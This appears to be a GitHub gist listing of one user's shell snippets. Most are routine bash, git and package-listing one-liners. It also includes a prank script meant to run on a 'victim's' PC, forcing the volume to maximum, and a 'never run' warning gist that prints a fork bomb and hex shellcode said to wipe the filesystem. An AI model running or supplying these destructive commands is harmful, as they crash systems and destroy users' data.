Skip to content

Instantly share code, notes, and snippets.

View francislewis's full-sized avatar

Francis Lewis francislewis

View GitHub Profile
@francislewis
francislewis / top10bash
Created February 17, 2015 21:08
Check the top 10 bash commands you use
history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10
@francislewis
francislewis / letItGo
Created February 21, 2015 20:59
Randomly play "let it go" on a victims PC
#!/bin/bash
#Will automatically force their volume to be set to max. You may want to adjust this so it isn't too loud
amixer -D pulse sset Master unmute&&amixer -D pulse sset Master 100%
#This will generate a number between 150 and 1, the value will be stored in the NUMBER variable
NUMBER=$[ ( $RANDOM % 150 ) + 1 ]
#This will open up a video specified to a random time
@francislewis
francislewis / Never run
Created February 25, 2015 21:44
Linux commands you probably shouldn't run
#Pretty much a denial of service attack, self replicates to use resources.
:(){ :|: & };:
# just rm -rf / in hex
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
@francislewis
francislewis / update gh-pages
Created March 4, 2015 20:20
How to keep gh-pages branch up to date with master
git checkout gh-pages // go to the gh-pages branch
git rebase master // bring gh-pages up to date with master
git push origin gh-pages // commit the changes
git checkout master // return to the master branch
@francislewis
francislewis / listAllPpas
Created April 1, 2015 21:15
A script to show all ppas on current system
#! /bin/sh
# Script to get all the PPA installed on a system
for APT in `find /etc/apt/ -name \*.list`; do
grep -Po "(?<=^deb\s).*?(?=#|$)" $APT | while read ENTRY ; do
HOST=`echo $ENTRY | cut -d/ -f3`
USER=`echo $ENTRY | cut -d/ -f4`
PPA=`echo $ENTRY | cut -d/ -f5`
#echo sudo apt-add-repository ppa:$USER/$PPA
if [ "ppa.launchpad.net" = "$HOST" ]; then
echo sudo apt-add-repository ppa:$USER/$PPA
@francislewis
francislewis / listAllPackages
Created May 17, 2015 18:04
listAllPackages
dpkg --get-selections > list.txt